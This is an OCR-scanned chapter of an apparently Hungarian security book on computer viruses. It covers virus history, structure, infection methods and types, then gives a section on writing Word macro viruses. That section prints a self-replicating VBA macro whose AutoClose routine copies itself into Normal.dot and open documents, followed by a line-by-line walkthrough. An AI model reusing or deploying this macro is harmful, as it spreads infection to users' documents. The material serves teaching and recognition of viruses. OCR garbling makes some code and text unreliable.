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o5 Virusok - Veszéelyes fajlok

5.1 Alapok

Az FBI kédolas elleni virust fejleszt
Minden eszkozzel a potencidlis terroristak ellen ...

Az amerikai szovetségi rendSrség, az FBI egy eljarast fejleszt, amellyel a
kodolt adatokat mar a keletkezésiik helyén dekddolni lehet - jelenti az
MSNBC.com online média. Egy Magic Lantern nevii szoftver segitségével az
FBI specialistdi a jovében egy olyan virust tudnak becsempészni a gyanus
szerverekre, amely megteremti a dekddolds eléfeltételeit.

Az FBI-nak sok szerverrel nem lesz nehéz dolga.

Ezutan a virus mailben fogja elkiildeni magat, vagy ismert biztonsagi ré-
seken becsempészi magat a szerverszoftverbe. Ha a fert6zott szamitdgépe-
ken elinditanak egy kddoloprogramot, a virus minden billentytizet-bevitelt
feljegyez, és elkiildi az FBI-nak.

A Magic Lantern azel6tt kezd miikodni, mielStt még az adatok kédolasa
megtorténne, ugy, hogy kddolas kozben kvazi kukucskal a felhasznalé valla
folott,

A US-hatdsagok szemében mar régdta tiiskét jelentettek az erds kodo-
lasra alkalmas programok, mivel az ezekkel kodolt adatokat nem lehet visz-
szafejteni. Csak miutan az ipar bizonyitékokat szerzett arrdl, hogy a ke-
mény kddoldprogramok az exporttilalom ellenére is elterjedtek, az USA fel
adta a hivatalos ellendllast.

1983-ban programozta az els§ hivatalosan ismertté valt virust Fred Cohan a
dél-kaliforniai egyetemrdl. Doktori disszertacidjahoz fejlesztette ki az 6Gnmagat
reprodukald program elméletét, és rogton bizonyitékkal is szolgdlt. Az altala



programozott virus Unix operacios rendszer alatt futott. A hatdsa az volt, hogy
a rendszer minden felhasznaldja megkapott minden elérési jogot.

Az Ujsdgokban és a televizidban tjra és djra horrorisztikus hireket hallani tj
és veszélyes virusokrdél. Ezek azonban tébbnyire erételjes tilzdsok. A valdsag-
ban jelent&sen tobb kér éri a szamitdgépes rendszereket és az adataikat szabo-
tazsoktol, a szakszertitlen kezelést8l vagy a hackertamadasoktol, mint a viru-
soktél és kovetkezményeiktSl.

Egy virustdmadas kovetkeztében azonban bizonyos koriilmények kozott
minden adat és program elveszhet, ami jelentds anyagi karokat okoz.

Fert6zésnek az orvostudomany azt a folyamatot nevezi, amelynél a kéroko-
zOk atterjednek egyik egyedrdl a masikra. Mivel a komputervirusok a bioldgiai
virusokhoz hasonldan viselkednek, itt is az atviteli folyamatot nevezik fert6zés-
nek. A virus az egyik virushordozordl egy masik potencidlis virushordozora,
példaul egy merevlemezre keriil. Ez torténhet egy olyan fert§zott program el-
inditdsaval, amelyet interneten, CD-n vagy lemezen keresztiil lehet kapni, vagy
- a bootszektor virusoknal - a lemez egy fert§zott bootrutinjaval. A program
altaldban dlcazva van, mintha egy képrdl, egy Word vagy egy Excel f4jlrél len-
ne szé. Gyakran éppen az drtalmatlannak vélt fajlok okozzak a legnagyobb ka-
rokat, mert egy EXFE fijllal sok felhasznalé mar eleve dvatosan banik. Hogy az
Office-alkalmazasok makrovirusai milyen veszélyesek lehetnek, az kidertl a ké-
sGbbiekben.

Persze nem vezethetd vissza virusra a szdmitogéppel torténd munka soran
fellépS hibak mindegyike. A legtobb esetben a szoftver vagy egy meghajto hid-
nyossdgarol van szo. Ennek ellenére évatosnak kell lenni: ha hirtelen olyan hi-
bak jelennek meg, amelyek hasonld korilmények kozott eddig nem Iéptek fel,
akkor virusellendrzést kell végezni.

5.4.1 Defektes cluster mint alcazas

A virusoknak tobbnyire dlcdzomechanizmusaik vannak, amelyek védik Sket a
leleplez&déstSl. Az egyik ilyen mechanizmus példdul megakaddlyozza, hogy a
felhaszndlé felfedezze a virus elfoglalta tarteriiletet a merevlemezen. A virus
befészkelddik az adathordozd egy tetszbleges helyére, és az elfoglalt clustert
(helyfoglalasi egységet) hibasnak mutatja. A legtobb felhasznaldi program (te-
hat a virusvizsgdldk is) egyszertien dtugorjak a hibas clustereket, vagy csak jel-
zik a hibat, és a megmaradt tarteriiletet mutatjak meg.

5.1.2 Mirdl ismerifel avirusvizsgalé avirust?

Minden virusnak van egy jellemzd bitmintaja, a hex-pattern. Ez hexadecima-
lis karaktereknek egy 10-16 bajt hosszu lancabdl all, és a virus arra hasznalja,
hogy felismerje, fert6zott-e mar egy fajl. Ha ez a hex-pattern mar ismert, fel le-
het hasznalni egy meghatarozott virus kereséséhez az adathordozoén. A keresés
csak az onmagukat kddold virusokndl valik problematikussa.

5.1.3 Videokartyak -
az elvetemiilt tamadok buvéhelyei?

A videokartydk gyakran allnak virushordozé gyanujaban. A virusok allitolag
a kartya videomemoridjaba fészkelik be magukat. Valdjaban ez lehetetlen: egy
videokartya videomemoridja nem bootképes, az adatokat csak tdrolja. Ezért
egyetlen virus sem tud kozvetleniil a videokdrtya memoriajabol a szamitdgép

s 2oz

jebb egy azonositd taroldsara hasznalhatja.

5.2 Avirus felépitése

Minden virus harom vagy gyakrabban négy programrészbdl all: az els§ rész
egyfajtaismertetdjegy,amelyrSl a virus felismeri 6nmagat. Ennek a segitségével
tudja barmikor ellendrizni, hogy meg van-e mar fert6zve egy fajl.

A masodik rész tartalmazza a tulajdonképpeni fertézérutint. Itt el8szor egy
szubrutinrél van-e szd, amely még nem fert6zott, végrehajthaté fajlt keres. Ha
talal ilyet, a virus bemadsolja a programkodjat a fajlba. Ebben a részben taldlha-
toé a programkdd is, amely sziikség esetén tgy alakitja 4t a fajlt, hogy a virus a
program inditasakor azonnal aktivdlodni tudjon. Az esetleges alcazasi eljaras
szubrutinja is itt talalhato.

A harmadik rész donti el, hogy drtalmatlan virusrél van-e szd, ami csak egy
kis tréfat csinal, vagy egy destruktiv kartevérdl, amely kdozepes vagy nagy ka-
tasztrofat valt ki. Artalmatlan esetben itt taldlhaté az utasitds, hogy a virus
mondjuk x napon rajzoljon egy képet a monitorra, vagy irjon ki egy meghata-
rozott szoveget. De ez a hely tartalmazhatnd azt a parancsot is, hogy: ,,a kovet-
kez6 ujrainditdsndl formattald a merevlemezt".



A negyedik résszel zarul a kor. Itt talalhaté az a parancs, amellyel a program
a viruskod végrehajtasa utdn visszatér oda, ahol a virus megszakitotta a prog-
ram futdsat.

5.3 Hogyan fert6z meg a virus egy fajit?

A fajlok megfert6zésénél a legnagyobb kiilonbségek a mdédban vannak, aho-
gyan a virus beveszi magat egy programba. Sok virus egy futtathato fijl végé-
hez flizi a sajat programkoddjat, az elejére pedig egy hivatkozast tesz erre a kod-
ra. Ha a programot elinditjak, az a sajat feladatainak a futtatdsa el6tt el§szor a
virusprogramra ugrik. Ha ezt végrehajtotta, megint visszaugrik arra a helyre,
ahol eredetileg megszakitotta a folyamatot. Felhasznaloként legfeljebb a ferts-
zOtt program induldsi sebességének a minimalis valtozasat vessziik észre.

Most mar minden alkalommal, mikor a programot elinditjak, el6szor a virus
indul el, és ettSl a perctSl kezdve még meg nem fertdzott fajlokat keres, hogy
azokhoz is hozzaférk6zzon, és megfertézze dket.

A viruskddnak ez a fajlhoz flizése nem okoz maradandé karosodast a fertg-
zOtt fajlon, a virusokat el lehet tavolitani. Egyes virusok azonban sokkal gatlds-
talanabbul viselkednek, és egyszerien atirnak a fajlbol annyit, amennyire a
programkddjukhoz sziikség van. Ha a gazdaprogram, a fajl, ugyanolyan méretd
vagy nagyobb, mint a virus, akkor ez viszonylag észrevétleniil térténhet. Ha a
virus nagyobb, mint a vendéglatdja, akkor kompletten atirja a fajlt, és annyival
meghosszabbitja, amennyi helyre sziiksége van.

5.3.1 igy fertéznek a bootszektor virusok

A virusok egy masik tipusa athelyezi az eredeti bootszektort, a helyére pedig a
sajat betoltéprogramjat irja. Ez egy rutin, amely utasitja a BIOS-t az operacids
rendszer betoltésére, a virus pedig elrejtézik valahol az adathordozon. Ha a gép in-
ditaskor a bootszektorhoz ér, a virusbetoltd elGszor a virust inditja el, és ezutan at-
tereli a beolvasast az atiiltetetett eredeti bootszektorra. A virus ezen a médon olyan
lemezeken is terjedhet, amelyek nem tartalmaznak programokat, csak fajlokat, mi-
vel a nem bootképes lemezeknek is van egy minimdlis bootszektoruk. Ha a
bootoldsi kisérletnél nem taldl operdcids rendszert, a betoltéprogram csak egy jel-
zést kiild a képernydre: nem rendszerlemez. A virust az ilyen lemez is hordozhatja.

Mais virusok atirjdk a FAT-ben taldlhatd konyvtarinforméciot, és minden
programndl a virusprogram cimét adjak meg. Az eredeti cimeket a virus egy
rendezett listara helyezi. Ha egy programot elinditanak, akkor ez el§szor elin-
ditja a virust, majd az tovabbitja az elérést a helyes cimre.

Minden fertézésmodnak Iétezik néhany variansa. Emellett vannak még hib-
rid virusok is, amelyek a bootszektort és a fajlokat is meg tudjak tdmadni. Tobb
modszer kombinacidja is gyakran eléfordul, ezért is lehet egyre nehezebben
osztélyozni a virusokat.

5.3.2 A dropper virust helyez el

A dropper nem virus, nem is virussal fert6zott program, am ha lefut, egy vi-
rust telepit a memoridba, a merevlemezre vagy egy fajlba. A droppereket egy
bizonyos virus datvitelére alkalmas programként vagy egyszerlien egy szabotdzs
segédeszkozeként irjadk meg. Egyes antivirus-programok megkisérlik a
dropperek felismerését, s az ujabbaknak ez dltaldban sikertiil is.

5.4 A legfontosabb virustipusok rovid
attekintése

A virusfigyelmeztetések szinte mar a napi rutinhoz tartoznak az interneten.
Tobbnyire a mailektSl ovnak, amelyeknek a fajlmelléklete virust rejt. Az ilyen
figyelmeztetésekben altalaban azt is megadjak, hogy milyen virusrdl van szé.
Ez fontos, mert a ,,fert6zésveszEély" a tipustdl fliggden nagyobb vagy kisebb. Az
aldbbiakban egy rovid attekintést adunk a legfontosabb virustipusokrdl és sajat-
sagaikrol.

5.4.1 Bootszektor virusok

A leggyakrabban fellépd virusok az olyan bootszektor virusok, mint a Form és
a Stoned virus. Az ilyen virusok a hajlékonylemezek bootszektorat és/vagy a
master boot recordot (MBR), illetve a master boot particids szektort vagy a
DBR-t, a DOS boot recordot, illetve DOS-bootszektort fertézik meg a merev-
lemezen. Egy bootszektor virus a kovetkezSképpen terjed.



Kapunk egy flopit adatokkal, amelyek a virussal fert§zottek. Az, akitdl a le-
mezt kaptuk, azonban nem tudja, hogy a szamitogépe és ezaltal a lemez is
bootszektor virussal fert6zott. A lemezt behelyezziik az A: meghajtdba, és el-
kezdjiik haszndlni az adatait. Eddig a virus még semmit sem csinalt. Valamikor
kikapcsoljuk a szamitdgépet. A kovetkezd reggelen 1jbol bekapcsoljuk a szami-
tégépet. A lemez még az A: meghajtédban van, és a BIOS-ban Boot from Floppy
van bedllitva: tehat a szamitdgép megprobal errdl a lemezrdl elindulni. Betolti a
lemez elsé szektorat a memdoridba, hogy lefuttassa a kodot, amit tartalmaz, vagy
hogy kiirja: Nem rendszerlemez, afolytatdshoz iissiink le egy tetszdleges billentyiit -
amennyiben nem taldl rajta DOS-rendszerfajlokat. Ezt az lizenetet mar ezerszer
lattuk, tehat kioldjuk a meghajtdzarat, és lenyomunk valamilyen billentyfit.

Ez a flopi azonban Stoned virussal fert6zott, és a virus programja lefut. Tele-
piti magdt a merevlemezre, kicseréli magdra az MBR-t, és az eredeti MBR-t a
merevlemez egy mds pontjan helyezi el. Ha ezutdn elindul a gép a merevlemez-
rél, lefut az MBR, ami mostanra azonban mar nem mas, mint a Stoned virus. A
virus memdriarezidenssé valik, ratelepszik a 13k interruptra, az adathordozorol
torténd olvasas és irds interruptjara, és ezutan betolti az eredeti MBR-t, és in-
nentSl kezdve az inditasi folyamat a megszokott modon folytatédik. Mivel
azonban fogja a flopirdl olvasds/flopira irds interruptjat, a virusprogram min-
den A: meghajtéra/-rél irdnyuld irasi vagy olvasasi miiveletnél (habar azt gon-
doljuk, olvasasrdl van sz, a valdsagban a virus ir a lemezre) megvizsgalja a le-
mezt, és ha még nincs megfertézve, installalja a Stoned virust a bootszektoraba.
igy a gépiink most minden lemezt megfertéz, ami bekeriil az A: meghajtéjaba,
elébb vagy utdbb pedig tovabb adjuk ezeknek a lemezeknek valamelyikét, és
ezzel a korforgds elolrdl kezdddik.

A kilonbozd bootszektor virusok miikodési médjai a részleteikben ugyan
kilonboznek egymastol, de az alapelv mindegyiknél ugyanaz. A fert6zott flopik
bootszektorardl keriilnek fel a gépre, és csak igy lehet Gket tovabbadni (egy
bootszektor-virus nem tud példaul a halézaton keresztiil terjedni). A fertézés
csak a fert6zott lemezrdl torténd inditési kisérletnél kovetkezhet be, még ha ez
a kisérlet sikertelen is lenne.

A bootszektor virusok PC-ket tdmadnak meg. Semmi jelent8sége nincs an-
nak, hogy milyen operacids rendszert hasznal a gép, vagy hogy milyen virusvédd
programot telepitettek rd, mert abban a pillanatban, mikor a bootszektor virus
telepiti magat, az operdcios rendszer vagy a védSprogram még egyaltalan nin-
csen betoltve. Egyes operacids rendszereknél, amelyek nem DOS-alapuak, a PC
ugyan megfert6zédik, a virus azonban nem tudja a gépbe helyezett lemezekre

masolni magat, és igy nem tud terjedni. Kart azonban ugyanugy okozhat ezeken
a gépeken is, mint azt egy dobbent Unix-felhasznalé megtapasztalta, mikor
2000. marcius 6-4n a Michelangelo virus meglepetésszertien lecsapott a gépére.

Sokan meg vannak lepve, mikor megtudjak, hogy egy virus ilyen modon ter-
jed, és ebben keresendd a bootszektor virusok gyakorisigdnak az oka is. A virus-
vizsgaldk, miikodési modjuk miatt, csak a lemezek vizsgalatakor tudjak felismerni
és torolni a bootszektor virusokat. A boot-tdmadas idején azonban tehetetlenek.

Ajanlott a szamitégép 6 bootszekvenciajat ugy beallitani a BIOS-ban, hogy
elészor mindig a merevlemezrSl probdljon bootolni, mdsodik lehetdségként
pedig meg lehet adni a CD-ROM meghajtot. Ha egy merevlemez-probléma-
nél a bootolas lehetetlenné valna (headcrash vagy hasonld), a BIOS-t még min-
dig at lehet allitani egy tiszta(!) lemezrdl bootoldsra. A lemezeket, amelyeket
kapunk, ennek ellenére gondosan ellen@rizziik virusvizsgaléval, nehogy masok-
nak okozzanak kérokat tovabbaddskor.

5.4.2 Companionvirusok

Ha egy COM és egy EXE fajlnak ugyanaz a neve, és ezt a nevet begépeljik, a
DOS eldszor mindig a COM fajit hajtja végre. A companion virusok is ezt a ko-
rilményt hasznaljak ki, az EXFE fajlhoz készitenek egy azonos nevli COM fajlt,
amelyben benne van a viruskdd. Ha ezutdn megprobaljuk elinditani az EXE fajlt,
helyette a COM program, tehat a virus fut le. Ha a virus befejezte a ténykedését,
példaul készitett egy ujabb companion virust egy ujabb fijlhoz, elinditja az EXE
programot is, hogy tigy tlinjon, minden a legnagyobb rendben mtikodik.

Volt néhéany igazdn sikeres companion virus, de nem sok. A virusprogramo-
zoénak az a {6 elénye, hogy az EXE fijl egyaltaldn nem véltozik, és igy a megval-
toztatott programok némelyike egyaltalin nem is veszi észre, hogy egy virus
terjed. Az elrejtéshez gyakran a rejtett vagy a rendszer tulajdonsagot adjdk a fajl-
nak. Ezeket az intézd alapértelmezésben nem mutatja.

5.4.3 Killerprogramok

A killerprogramok olyan virusok, amelyek bizonyos szamu fert6zés utan
tonkreteszik a fert6zott gép merevlemezét. A virus erre a célra egyfertdzés-
szdmldlot tartalmaz, amely egy rogzitett értéktSl kezdve visszaszamol. Ha eléri



a nullat, kivaltja a romboldakcidt. Egyes esetekben a virus ilyenkor kiadja és le-
futtatja a FORMAT C: parancsot. Mas virusok minden f4jlt torélnek az adat-
hordozdén. A legbaritsagtalanabb valtozat a FAT bejegyzéseit valtoztatja meg.
Ilyenkor minden fijl ott marad ugyan a merevlemezen, csak az adatdllomany
tobbé nem olvashatd és hasznélhato.

5.4.4 Logikai bombak

A logikai bombdk a virusok kiilonleges fajtdi: ezeknek a mtikodésbe 1épését ki-
valthatja egyfajta id6zit§ vagy egy feltétel teljestilése, példaul egy bizonyos sz6
vagy felhaszndlodi név beirdsa vagy hidnya.

Ezek a virusok tobbnyire egy meghatdrozott rendszerre korlatozodnak: a
bombak rendszerint csak egy megadott kornyezeten beliil tudjak reprodukalni
magukat, és ezért ezen a kornyezeten kiviil hatdstalanok.

5.4.5 Makrovirusok

A makrovirusok olyan virusok, amelyek adatfajlokat fert6znek meg.
Makrovirusokat jellemzéen Microsoft Word dokumentumokban (.doc vagy .dot
végzGdéssel) és mar Excel fajlokban is taldlunk. Amint megnyitunk egy ferts-
zOtt Word dokumentumot, az megfert&zi a Normal.dot fajlt. Ha ezutan egy do-
kumentumot mentiink vagy nyitunk, az is megfert6z6dik a virussal. A
makrovirusok példdul egy masikra tudjak cserélni a Mentés parancsot, a felhasz-
nalt programnyelv alapjan adatokat tudnak torolni vagy modositani. Hogy a
makrovirusok hogyan mtikddnek, milyen parancsokat tudnak kivaltani, és mi-
lyen triikkkoket vetnek be dlcdzasként, az a késGbbiekben fog kidertiilni.

5.4.6 Halozati virusok

Specialis haldzati virusokbol még kevés van, azonban a legtobb virus haléza-
ton is tud terjedni. A klasszikus Adlovirusok az tigynevezett férgek. Ezek a viru-
sok nem programfiiggelékként terjednek a rendszerekben, hanem Onalldéan
tudjak reprodukalni a sajat kédjukat, és onallé programként tudjak lefuttatni
magukat.

Olyan virusok, amelyek tobb operdcids rendszerben is tudndnak terjedni, még
nincsenek. A virusok, a koncepcidjuknal fogva, mindig egy rendszer gyenge pont-
jaira vannak kihegyezve. Mivel ezek minden rendszerben masok, és minden rend-
szer mas programozasi kovetelményeket allit, belathaté idén beliil aligha lesznek
olyan virusok, amelyek példdul Mac és MS-DOS gépeken is tudnanak mtikodni.

A legtobben azt hiszik, hogy egy virus, amint bekeriil egy hdlézatba, azonnal
viharos sebességgel el is terjed rajta. Ez azonban a valésagban sokkal bonyolul-
tabb. El&szor is a bootszektor virusok nem tudnak halézaton keresztiil terjedni,
még akkor sem, ha tobb, hdlézatra csatlakozd szamitdgép fert6zott, mert ez a
virustipus csak flopin keresztiil terjed. A fajlvirusok ezzel szemben a kovetkezd-
képpen fertéznek halézaton keresztiil:

1. ,,A" kolléga megfertzi a szamitdgépét, valdszintileg egy e-mail mellékle-
tével vagy egy baratja demolemezével. A virus memoriarezidenssé valik.

2. ,A" kolléga tovabbi programokat futtat a merevlemezén, amelyek ezéltal
ugyancsak megfert6z6dnek.

3. ,A" kolléga néhany programot a halézaton futtat, ezek is megfert§z6d-
nek. A haldzat egy DOS-eszkozt emuldl, ez azt jelenti, hogy fajlok olvasa-
sa €s irdsa ugyanolyan modon torténik a szerveren, mint lokdlisan. A vi-
rusnak tehat nem kell a szokasostdl eltéréen viselkednie ahhoz, hogy a
szerveren is meg tudjon fert&zni fajlokat.

4. ,B" kolléga bejelentkezik a szerverre, és végrehajt egy fertGzott fajlt. A vi-
rus ,,B" kolléga gépén is memoriarezidens lesz.

5. ,B" kolléga tobb mds programot futtat sajit, helyi merevlemezén és a
szerveren. Valamennyi végrehajtott fijl megfert6zédik.

6. ,,C", D" és ,E" kollégak bejelentkeznek, és futtatjak a fer§zott fajlokat.
7. ...és igy tovabb.

Maisképp torténik a fertézés az olyan virusokndl, amelyek elkiildik magukat
a mail-cimjegyzék minden cimére. Itt elég, ha ,A" kolléga lefuttatja a fajlt, ésa
cimjegyzékébdl minden kollégaja kap egy mailt a virussal. Ha ezek a kollégak
ugyancsak megnyitjak a mellékletet, minden kezdddik elolrél. A kiilonb6zé
cimjegyzék-bejegyzéseken keresztiil a virus gyorsan eljut az tizletfelekhez, ba-
ratokhoz stb., és igy lavinat valt ki. Az ILOVEYOU a maga idejében pontosan
ilyen virus volt. Mas sajatossagai mellett sajat magat szaporitotta. Még kompu-



tercégeknél is egész részlegeket bénitott meg, mert a mailforgalom egyfolyta-
ban novekedett, és minden tovabbi futtatds ismét elinditotta a kiildést.

5.4.7 Polimorfvirusok

Az antivirus programok leggyakrabban hasznalt fajtdja a szkenner, amely a
viruskddok egy bizonyos repertoarja utdn kutat. A virusprogramozé ezt a prog-
ramot szeretné a legjobban becsapni. A polimorfvirus olyan kartevs, amelybdl
egy helyen nem fordul el§ két masolat, amelyek ugyanazt a béjtsorozatot tar-
talmaznak. Ezért egy ilyen virust nem lehet egyszerfien egy meghatarozott
bajtsorozatrol felismerni, ennél sokkal Osszetettebb és nehezebb feladatot kell
megoldania annak, aki el akarja csipni.

5.4.8 Stealth vagy rejt6zkodo virusok

Ha egy virus memoriarezidenssé tud valni, ami pedig a komputeres vildgban
megjelend virusok 99%-dra igaz, akkor legaldbb egy interruptot fogni tud. Ha
bootszektor virusrdl van szd, akkor az a 13k interruptot hasznalja (az adathordozdk
olvasasa/irasa). A stealth virusoknal viszont, ha egy tetszSleges program megpré-
balja olvasni a bootszektort, a virus azt mondja magaban: ,,Aha, itt valaki latni
akarja a bootszektort. Egyszertien beolvasom az eredeti bootszektort onnan, aho-
va eltettem, és aztan a fert§zott bootszektor helyett az eredeti tartalmat prezenta-
lom. Hi-hi." Ezaltal a lekérdez8 programnak semmi szokatlan sem tinik fel.

Az 1986-ban késziilt Erdin virus volt az els§ olyan, amelyik ezzel a triikkel dol-
gozott. A fajlvirusok, mint amilyen a Frodo, hasonld triikkel szintén el tudjak tit-
kolni a 1étezésiiket tigy, hogy minden program, amely a fajlt olvassa, csak azokat a
béjtokat latja, amelyeket az a virusfert6zés el6tt tartalmazott. Az ilyen alcazasi ké-
pességek azonban gyakrabban figyelhet6k meg bootszektor virusoknal, mint fajl-
virusokndl, mert egy bootszektor virushoz sokkal egyszertibb dlcazorutint irni.

5.4.9 TSR fajlvirusok

A masodik leggyakoribb virusfajta a TSRfdjlvirus. Mint a neve is mutatja, az
ilyen tipusu virus fajlokat timad meg, azok koziil is altaldban a COM és az EXE

fajlokat; azonban van néhdny eszk6zmeghajté virus is. Egyes virusok overlay
fdjlokat (programok lapozéfijljai) fert6znek meg, ezek az *.OVL fajlok, és a vég-
rehajthaté programoknak sem feltétleniil kell COM vagy EXFE kitérjesztéstliek-
nek lennitik, bar ez az esetek 99%-ara igaz.

Ahhoz, hogy egy TSR virus terjedni tudjon, valakinek le kell futtatni a fer-
t6zott programot. A virus memoriarezidenssé valik, és altaldban minden utdna
elinditott programot megvizsgal, hogy megfertzze, ha az még nem fert§zott.

Egyes virusokat gyorsan fertéz0 virusoknak is neveznek. Az ilyen virusok mar
akkor megfertéznek egy fajlt, ha csak megnyitjuk azt (példaul egy adatmentés-
nél bizonyos koriilmények kozott minden fajlt megnyitnak, amit a meghajté
tartalmaz.) Az els§ gyorsan fert6z6 virus a Dark Avenger volt. A Green
Caterpillerfert6zGrutinjat viszont minden olyan folyamat kivaltja, amely meg-
hatarozza, hogy milyen fajlok allnak rendelkezésre az adathordozén (pl. a DIR
parancs). Haszndlnak még mas fert6zSrutinokat is, de a legtobb esetben egy
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program csak akkor fert6z6dik meg, amikor végrehajtjak.

5.4.10 Update virusok

Az update virusok kiilonosen ravasz korokozdék. Csalddokra oszlanak, és eze-
ket tobbnyire egyetlen programozoé vagy egy csoport fejleszti. A hex pattern
mellett ezek a virusok nemcsak egy verzidészdmot tartalmaznak, hanem egy
update rutint is, amely ellendrzi, hogy a virus fellépett-e¢ mar valamely verzidja-
ban. De ez még nem minden: a rutin azt is megvizsgalja, hogy a fajlok tartal-
mazzak-e mdr a virus egy régebbi verzidjat. Ha igen, akkor lecseréli ezeket. Ha
Ujabb verzio van telepitve, akkor ezzel nem fertéz ujra.

5.4.11 Férgek - az ILOVEYOU és tarsai

A komputerférgek olyan programok, amelyek onalléan tudnak egy haldza-
ton terjedni. Ezeknél nem klasszikus virusrél van sz, hanem azzal rokon zava-
roprogramokrol, amelyek azonban virust is tartalmazhatnak. A férgek Onallo
programok, amelyeknek nincs sziikségiik arra, hogy gazdaprogramokhoz fiiz-
z¢k magukat. Toébbnyire tobb, egymdshoz kapcsolddd programszegmensbdl
allnak. A komputerférgek sajat magukat tudjak reprodukalni, és halézati funk-
cidk segitségével mas szamitégépekre masolddnak.



5.4.12 1d6zitdk

Az idéziték a virusok specidlis kiolddmechanizmusai. A virusprogramon be-
lil egy rutin lekérdezi a rendszeridGt. Ha az elér egy rogzitett értéket, kivaltja a
virus akciétartalmédnak a végrehajtdsat. A feltétel lehet a bekapcsolastdl szami-
tott idStartam vagy egy el6re meghatdrozott datum. Elméletileg igy példédul
sziiletésnapi tidvozletet lehet valakinek kiildeni, amely a széban forgd napon
automatikusan elindul. A naptari datumok mellett olyan rutint is lehet hasznal-
ni, amely minden nap, ugyanabban az éraban indul el. Az id§zitSk feltételeinek
avalasztéka szinte hatdrtalan.

5.5 Word makrovirus irasa

Biztos, hogy mindenki ladtta mar a Word megerdsité kérdését, ha valakitsl
egy olyan dokumentumot kapott, amelynek a sablonjaban makrok voltak. Le-
het, hogy a makrok engedélyezésére kattintott, vagy kétkeddn a tiltdsukat va-
lasztotta, de biztosan nem volt a tudatdban annak, hogy milyen veszély bujik
meg mogottilkk. A kovetkez oldalakon sok minden kideriil a Word
makrovirusok programozasarél. Itt kiilonosen fontos tudni, hogy milyen triik-
kokkel dlcdzhatjak a programozdk a programjaikat, és milyen potencialis veszé-
lyeket hordoznak ezek. Ha ezzel valaki meg tud tszni egy Word makrovirust
vagy legalabb felismeri azt, mar megérte az ismertetés. ime, a virusspecialista
Aciidfreakitmutatdja, valamennyire médositott formaban.

Aki tud VB-ben programozni, annak nagyon egyszerti a makrok irasa.

A VBA lassu, de hatalmas. Minden parancsnak a birtokaban van, amit a VB
alatt is haszndlni tudunk, és minden API-funkciot is ismer (API = Application
Programming Interface).

5.5.1 Minden ténykedés kozpontja - a Normal.dot fajl

A Word minden inditdskor betdlt egy globalis fijlt, a Normal.dot-ot. Ebben
a fajlban lehetnek a makrok, amelyek azutdn minden dokumentumra érvénye-
sek. Ezt a fijlt tamadjak meg, hogy a Wordot megfert6zzék. Ha a Word fajlok
makrot tartalmaznak, akkor ezek a fajl megnyitdsakor rendszerint ugyancsak
megnyilnak és aktivva valnak. De a Word idegen szévegeknél megkérdezi,

hogy aktivalja-e a makrokat is. Ez a kérdés azonban csak erre a dokumentumra
érvényes, ezért kell a fert6zéshez a Normal.dot-ba masolni a makrovinisokat, és

a Normal.dot-bol minden, még nem fertézott DOCfdjlba. Ez a makrovirus alap-
Otlete.

5.5.2 Modul vagy osztalymodul?

A virusok mindig egy osztdlymodulban vagy egy modulban vannak. Egy modul
elkészitéséhez az  Eszkozok/Makrd/Visual — Basic-kel megnyitjuk a Word
makroszerkeszt§jét. Itt a Beszirds meniibsl kivalasztjuk, hogy Modulrol vagy
Osztdalymodulrol, esetleg UserFormrol lesz-e sz6. A UserFormok a makroprog-
ramozas szempontjabol nem érdekesek, a modulok és az osztalymodulok a fon-
tosak. Ezekbe keriilnek az 6ndlldé projektrészek, amelyeket barhol djra el§ lehet
venni. El8szor a modulokban 1évé makrovirusokkal foglalkozunk.

5.5.3 Virusok kontra ServiceRelease

Az SR-1 a Microsoft egy ServiceRelease-e, amely a WordBasicben elérhetet-
lenné teszi a MacroCopy és Application OrganizerCopy parancsokat, de egy virus-
iré erre mindig taldl megoldast.

5.5.4 Modul makrok

Az aldbbiakban megtaldlhat6 minden, amire egy Word makrovirushoz
sziikség van, de hangsulyozzuk, hogy az egészet csak tajékoztatdsnak szanjuk,
nem pedig megvalositas céljara.

Attribute VB_Name = "demo”
Sub AutoCloseQ

On Error Resume Next

Application. VBE.ActiveVBProject. VBComponents("demo"). Export
"c:\demo.sys"

For I = 1 To NormalTemplate.VBProject.VBComponents.Count



If  NormalTemplate.VBProject.VBCpmponents(I).Name =  "demo”  Then
NormlInstall = True
Next I

For I =1 To ActiveDoctiment.VBProject. VBComponents.Count
If ActiveDocument.VBProject. VBComponents(I). Name = "demo” Then

Activinstall = True
Next |
If Activinstall = True And Normlinstall = False Then Set Dobj =

NormalTemplate. VBProject_
Else If Activinstall = False And Norminstall = True Then Set Dobj =

Active Document. VB Project

Dobj. VBComponents.Import ("c: \demo.sys")
End Sub

igy ni, ezt most fogjuk most darabokra szedni.

Attribute VB_Name = "demo”
A Demo a modul neve. Es a modul neve altaldban a virus neve.

Sub AutocloseQ
Ez a sub minden alkalommal lefut, ha egy dokumentumot bezarnak.

Vannak még mas autofunkciok is, amelyek automatikusan végrehajtéd-
nak: példaul AutoOpen, AutoEXxit, Autoexec.

On Error Resume Next
Ez esetleg a VB-b4l mar ismert. Ha hiba 1épne fel, egyszertien a kdvetke-

zG parancsot hajtatja végre, ahelyett, hogy hibalizenetet irna ki, ami el-
arulnd a virust.
Application. VBE.ActiveVBProject. VBComponents ("demo"). Export

"c: \demo.sys"
A modult a C\demo.sys fajlba exportalja. Ebben a fijlban benne van az

egész forraskdd, hogy késébb lehetbleg egy fert6zendd fajlba lehessen im-
portalni.

For I =1 To NormalTemplate.VBProject.VBComponents.Count

Ez egy For ciklus. Annyiszor ismétli az utana kovetkezd kédot, ahany
modul van a Normal.dot-ban.

IfNormalTemplate. VBProject. VBCpmponents(l).Name = ‘"demo " Then
Normlinstall=True

Ha a Normal.dot-ban van egy modul, amit demo-nak hivnak (tehat a vi-
rus), True-ra allitja a Normallnstall-t.

Next I
A For cikluson beliil a kovetkezd értékre 1épteti a ciklusvaltozoét.

For I =1 To Active Document. VBProject. VBComponents. Count
Ez egy For ciklus. Annyiszor ismétli meg a For és a Next kozotti kodot,
ahany modul taldlhato az aktiv dokumentumban.

IfActiveDoaiment. VBProject. VBComponents(I).Name = '"demo" Then
Activinstall = True

Ha az aktiv dokumentumban van egy modul, amelynek a neve ,,demo”
(tehat, mint a virusé), True-ra allitja az Activinstall-t.

Next [

A For cikluson beliil a kovetkez$ értékre I1épteti a ciklusvaltozot.

If Activinstall = True And Norminstall = False Then Set Dobj =
NormalTemplate. VBProject

Ha az aktiv dokumentumban, és nem a Normal.dot-ban vagyunk, akkor

a Dobj-t NormalTemplate. VBProject-re allitja. Itt rogziti, hogy késGbb me-

lyik fajlba importal: vagy a Normal.dot-ba, vagy az aktiv dokumentumba.

